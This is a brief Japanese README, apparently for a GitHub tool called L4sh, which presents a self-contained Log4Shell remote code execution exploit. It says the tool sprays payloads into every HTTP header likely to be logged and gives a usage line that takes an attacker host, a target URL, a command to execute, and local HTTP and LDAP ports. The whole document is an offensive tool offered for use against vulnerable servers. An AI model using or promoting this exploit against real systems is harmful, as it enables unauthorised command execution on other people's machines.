L4sh

Log4Shell RCE エクスプロイト

完全に独立したエクスプロイトであり、サードパーティ製バイナリは一切不要です。 このエクスプロイトは、X-Forwarding , Server-IP , User-Agent など、ログに記録される可能性のあるすべてのHTTPヘッダーにペイロードを散布します。

使用方法

python main.py -i lhost -u http://target:targetport -c "command_to_execute" -p lhttp_port -l lldap_port

必要条件

• java-8-openjdk
• pip install -r requirements.txt
• python3.6+